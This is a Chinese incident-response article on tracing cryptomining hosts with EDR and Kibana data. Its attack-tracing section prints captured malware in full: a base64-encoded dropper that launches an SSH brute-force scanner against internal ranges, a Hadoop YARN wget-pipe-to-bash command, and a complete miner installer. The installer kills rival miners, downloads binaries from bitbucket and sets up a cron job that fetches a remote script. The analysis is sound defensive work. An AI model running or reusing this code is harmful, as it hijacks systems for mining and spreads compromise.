bt0sea 嘶吼专业版 

如何溯源挖矿主机_Python

如何溯源挖矿主机_Python_020x00、前言


早期我们判定挖矿主机是通过全流量分析引擎,对外联数据做威胁情报匹配,如果发现外联IP或者域名存在挖矿特征则告警。但是伴随着安全应急响应的深入,我们发现此类误报率偏高,那么,我们如何更有效的石锤恶意挖矿行为并且形成自动化***溯源的威胁模型呢?本期和大家讨论这个问题。

如何溯源挖矿主机_Python_030x01、如何入手调查

这是一个最基本的问题,假设你是一个外行人,如何判断一台机器种了挖矿病毒?大部分人的回答应该是CPU负载过高,OK就从这入手调查。

前提条件,在你的企业中,网络侧,需要拥有一套全流量分析系统,至少包含:威胁情报匹配、传统规则匹配的NIDS、机器学习DGA域名判定。主机侧需要拥有EDR Agent,尽可能的收集主机上网络、进程信息、CPU内存磁盘IO等信息,同时具备传统主机安全威胁发现的能力(例如:暴力破解、rootkit检测、命令行审计等)。

第一步:可疑进程判定

我们在Elastic search中查询,确定哪些服务器的CPU数据为高负载进程。通常的做法是,CPU负载可疑通过Top命令获取,Load Avg: 1.86(1分钟), 1.70(5分钟), 2.44(15分钟),我们观察第三个指标当数值超过2以上,再统计CPU使用率,同时满足:CPU使用率超过80%,并且持续时间超过15分钟。

我们需要的数据是:

用户名称、主机标识、进程名、进程路径、进程MD5。

通过查询kibanna,我们获取相关的列表:(本次只显示一条,生产环境会存在多条),

用户名称:user0001

主机标识:xxx-xxx

进程名:cron

进程路径:/home/apps/.nullcache/a/cron

md5:262f8b44bbc58b1cc237a289a6e968f7

异常情况说明:不是每个可疑的进程都存在md5,很多进程都是在新增或者删除的过程中,获取不到进程文件相关的数据。

第二步:确定感染范围,通过进程md5查询全网是否存在多台可疑的主机,并且查看其衍生进程路径。如何溯源挖矿主机_Python_04


第三步:确定感染时间,选中其中的一台主机,查询其进程关联的socket外连情况,同时查询kibana中最早的socket连接时间,本案例确定的最早连接时间为:2019年8月21日16点20左右。

第四步:***溯源,在2019年8月21日16点20左右查询所有搜集的数据,我们发现当时进程信息上报了一条bash执行记录。打开cmdlime发现:如何溯源挖矿主机_Python_05


bash -c sleep 15s && cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApta2RpciAuWDE3LXVuaXgKY2QgLlgxNy11bml4Cm12IC92YXIvdG1wL2RvdGEudGFyLmd6IGRvdGEudGFyLmd6CnRhciB4ZiBkb3RhLnRhci5negpzbGVlcCAzcyAmJiBjZCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYwpub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTkyLjE2OCA+PiAvZGV2L251bGwgMj4xJgpzbGVlcCA4bSAmJiBub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDE3LXVuaXgvLnJzeW5jL2luaXRhbGwgMj4xJgpleGl0IDA=" | base64 --decode | bash

发现***通过base64编码逃避规则引擎的检测。解密后发现:

!/bin/bash

cd /tmp

rm -rf .ssh

rm -rf .mountfs

rm -rf .X13-unix

rm -rf .X17-unix

mkdir .X17-unix

cd .X17-unix

mv /var/tmp/dota.tar.gz dota.tar.gz

tar xf dota.tar.gz

sleep 3s && cd /tmp/.X17-unix/.rsync/c

nohup /tmp/.X17-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 192.168 >> /dev/null 2>1&

sleep 8m && nohup /tmp/.X17-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 172.16 >> /dev/null 2>1&

sleep 20m && cd ..; /tmp/.X17-unix/.rsync/initall 2>1&

exit 0

同时发现hadoop机器上一个匿名用户dr.who起了一个yarn Application,执行了

/bin/bash -c wget -q -O - https://bitbucket.org/qwindra431/mygit/raw/master/zz.sh | bash

    "xxx": {

      "realpath": "/hadoop/yarn/nm/usercache/dr.who/appcache/application_1566136664058_20304/container_1566136664058_20304_02_000001/-c",

      "gid": 980,

      "md5": "0719e857695fd4c17ad5bb4547909e5a",

      "name": "bash",

      "pid": 11466,

      "cmdline": "/bin/bash -c wget -q -O - https://bitbucket.org/qwindra431/mygit/raw/master/zz.sh | bash",

      "groupname": "yarn",

      "username": "yarn",

      "path": "/usr/bin/bash",

    },

确定了***源。

#!/bin/bash

pkill -f systemctI

pkill -f kworkerds

pkill -f init10.cfg

pkill -f wl.conf

pkill -f crond64

pkill -f watchbog

pkill -f sustse

ps aux | grep -v grep | grep -v "/" | grep -v "-" | grep -v "_" | awk 'length($11)>11{print $2}' | xargs kill -9

pkill -f donate

pkill -f proxkekman

pkill -f 158.69.133.18

pkill -f 192.99.142.246

pkill -f test.conf

pkill -f /var/tmp/apple

pkill -f /var/tmp/big

pkill -f /var/tmp/small

pkill -f /var/tmp/cat

pkill -f /var/tmp/dog

pkill -f /var/tmp/mysql

pkill -f /var/tmp/sishen

pkill -f ubyx

pkill -f /var/tmp/mysql

rm -rf /var/tmp/mysql

ps ax | grep java.conf | grep bin | awk '{print $1}' | xargs kill -9

ps ax|grep "./noda\|./manager"|grep sh|grep -v grep | awk '{print $1}' | xargs kill -9

ps ax|grep "./no1"|grep -v grep | awk '{print $1}' | xargs kill -9

ps ax|grep "./uiiu"|grep -v grep | awk '{print $1}' | xargs kill -9

ps ax|grep "./noss"|grep -v grep | awk '{print $1}' | xargs kill -9

ps ax|grep "8220"|grep -v grep | awk '{print $1}' | xargs kill -9

pkill -f cpu.c

pkill -f tes.conf

pkill -f psping

ps ax | grep cs.c | grep bin | awk '{print $1}' | xargs kill -9

ps ax | grep -- "-c cs" | awk '{print $1}' | xargs kill -9

ps ax | grep -- "-c pcp" | awk '{print $1}' | xargs kill -9

ps ax | grep -- "-c omo" | awk '{print $1}' | xargs kill -9

pkill -f /var/tmp/java-c

pkill -f pscf

pkill -f cryptonight

pkill -f sustes

pkill -f xmrig

pkill -f xmr-stak

pkill -f suppoie

ps ax | grep "config.json -t" | grep -v grep | awk '{print $1}' | xargs kill -9

ps aux | grep "/lib/systemd/systemd" | awk '{if($3>20.0) print $2}' | xargs kill -9

ps ax | grep 'wc.conf\|wq.conf\|wm.conf\|wt.conf' | grep -v grep | grep 'ppl\|pscf\|ppc\|ppp' | awk '{print $1}' | xargs kill -9

rm -rf /var/tmp/pscf*

rm -rf /tmp/pscf*

pkill -f ririg

rm -rf /var/tmp/ntpd

pkill -f /var/tmp/ntpd

rm -rf /var/tmp/ntp

pkill -f /var/tmp/ntp

rm -rf /var/tmp/qq

rm -rf /var/tmp/qq1

pkill -f /var/tmp/qq

rm -rf /tmp/qq

rm -rf /tmp/qq1

pkill -f /tmp/qq

pkill -f /var/tmp/aa

rm -rf /var/tmp/aa

rm -rf /var/tmp/gg

rm -rf /var/tmp/gg1

pkill -f gg1.conf

rm -rf /var/tmp/hh

rm -rf /var/tmp/hh1

pkill -f hh1.conf

pkill -f apaqi

rm -rf /var/tmp/apaqi

pkill -f dajiba

rm -rf /var/tmp/dajiba

pkill -f /var/tmp/look

rm -rf /var/tmp/look

pkill -f /var/tmp/nginx

rm -rf /var/tmp/nginx

rm -rf /var/tmp/dd

rm -rf /var/tmp/dd1

rm -rf /var/tmp/apple

pkill -f dd1.conf

pkill -f kkk1.conf

pkill -f ttt1.conf

pkill -f ooo1.conf

pkill -f ppp1.conf

pkill -f lll1.conf

pkill -f yyy1.conf

pkill -f 1111.conf

pkill -f 2221.conf

pkill -f dk1.conf

pkill -f kd1.conf

pkill -f mao1.conf

pkill -f YB1.conf

pkill -f 2Ri1.conf

pkill -f 3Gu1.conf

pkill -f crant

DIR="/tmp"

if [ -a "/tmp/java" ]

then

    if [ -w "/tmp/java" ] && [ ! -d "/tmp/java" ]

    then

        if [ -x "$(command -v md5sum)" ]

        then

            sum=$(md5sum /tmp/java | awk '{ print $1 }')

            echo $sum

            case $sum in

                bd6c69bf0e5a96bedcfbb0d946d52deb | b00f4bbd82d2f5ec7c8152625684f853)

                    echo "Java OK"

                ;;

                *)

                    echo "Java wrong"

                    rm -rf /tmp/java

                    pkill -f w.conf

                    sleep 4

                ;;

            esac

        fi

        echo "P OK"

    else

        DIR=$(mktemp -d)/tmp

        mkdir $DIR

        echo "T DIR $DIR"

    fi

else

    if [ -d "/var/tmp" ]

    then

        DIR="/var/tmp"

    fi

    echo "P NOT EXISTS"

fi

if [ -d "/tmp/java" ]

then

    DIR=$(mktemp -d)/tmp

    mkdir $DIR

    echo "T DIR $DIR"

fi

WGET="wget -O"

if [ -s /usr/bin/curl ];

then

    WGET="curl -o";

fi

if [ -s /usr/bin/wget ];

then

    WGET="wget -O";

fi

downloadIfNeed()

{

    if [ -x "$(command -v md5sum)" ]

    then

        if [ ! -f $DIR/java ]; then

            echo "File not found!"

            download

        fi

        sum=$(md5sum $DIR/java | awk '{ print $1 }')

        echo $sum

        case $sum in

            bd6c69bf0e5a96bedcfbb0d946d52deb | b00f4bbd82d2f5ec7c8152625684f853)

                echo "Java OK"

            ;;

            *)

                echo "Java wrong"

                sizeBefore=$(du $DIR/java)

                if [ -s /usr/bin/curl ];

                then

                    WGET="curl -k -o ";

                fi

                if [ -s /usr/bin/wget ];

                then

                    WGET="wget --no-check-certificate -O ";

                fi

                echo "" > $DIR/tmp.txt

                rm -rf $DIR/java

                download

            ;;

        esac

    else

        echo "No md5sum"

        download

    fi

}

download() {

    if [ -x "$(command -v md5sum)" ]

    then

        sum=$(md5sum $DIR/pscf3 | awk '{ print $1 }')

        echo $sum

        case $sum in

            bd6c69bf0e5a96bedcfbb0d946d52deb | b00f4bbd82d2f5ec7c8152625684f853)

                echo "Java OK"

                cp $DIR/pscf3 $DIR/java

            ;;

            *)

                echo "Java wrong"

                download2

            ;;

        esac

    else

        echo "No md5sum"

        download2

    fi

}

download2() {

    $WGET $DIR/java https://bitbucket.org/qwindra431/mygit/raw/master/x_64

    if [ -x "$(command -v md5sum)" ]

    then

        sum=$(md5sum $DIR/java | awk '{ print $1 }')

        echo $sum

        case $sum in

            bd6c69bf0e5a96bedcfbb0d946d52deb | b00f4bbd82d2f5ec7c8152625684f853)

                echo "Java OK"

                cp $DIR/java $DIR/pscf3

            ;;

            *)

                echo "Java wrong"

            ;;

        esac

    else

        echo "No md5sum"

    fi

}

sed -i '$d' /etc/ld.so.preload

netstat -antp | grep '37.59.44.93\|37.59.54.205\|192.99.142.232\|158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9

if [ "$(netstat -ant|grep '37.59.44.93\|37.59.54.205\|192.99.142.232\|158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102'|grep 'ESTABLISHED'|grep -v grep)" ];

then

    ps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read procid

    do

        kill -9 $procid

    done

else

    echo "Running"

fi

if [ ! "$(ps -fe|grep '/tmp/java'|grep 'w.conf'|grep -v grep)" ];

then

    downloadIfNeed

    chmod +x $DIR/java

    $WGET $DIR/w.conf https://bitbucket.org/qwindra431/mygit/raw/master/w.conf

    nohup $DIR/java -c $DIR/w.conf > /dev/null 2>&1 &

    sleep 5

    rm -rf $DIR/w.conf

else

    echo "Running"

fi

if crontab -l | grep -q "193.57.40.46"

then

    echo "Cron exists"

else

    echo "Cron not found"

    LDR="wget -q -O -"

    if [ -s /usr/bin/curl ];

    then

        LDR="curl";

    fi

    if [ -s /usr/bin/wget ];

    then

        LDR="wget -q -O -";

    fi

    (crontab -l 2>/dev/null; echo "* * * * * $LDR http://193.57.40.46/cr.sh | sh > /dev/null 2>&1")| crontab -

fi

pkill -f logo4.jpg

pkill -f logo0.jpg

pkill -f logo9.jpg

pkill -f jvs

pkill -f javs

pkill -f 192.99.142.248

rm -rf /tmp/pscd*

rm -rf /var/tmp/pscd*

crontab -l | sed '/202.144.193.167/d' | crontab -

crontab -l | sed '/192.99.142.232/d' | crontab -

crontab -l | sed '/8220/d' | crontab -

crontab -l | sed '/192.99.142.226/d' | crontab -

crontab -l | sed '/192.99.142.248/d' | crontab -

crontab -l | sed '/45.77.86.208/d' | crontab -

crontab -l | sed '/144.202.8.151/d' | crontab -

crontab -l | sed '/192.99.55.69/d' | crontab -

crontab -l | sed '/logo4/d' | crontab -

crontab -l | sed '/logo9/d' | crontab -

crontab -l | sed '/logo0/d' | crontab -

crontab -l | sed '/logo/d' | crontab -

crontab -l | sed '/tor2web/d' | crontab -

crontab -l | sed '/jpg/d' | crontab -

crontab -l | sed '/png/d' | crontab -

crontab -l | sed '/tmp/d' | crontab -

如何溯源挖矿主机_Python_060x02、***模型抽象如何溯源挖矿主机_Python_07


本文为嘶吼特约作者 bt0sea 原创文章。

如何溯源挖矿主机_Python_08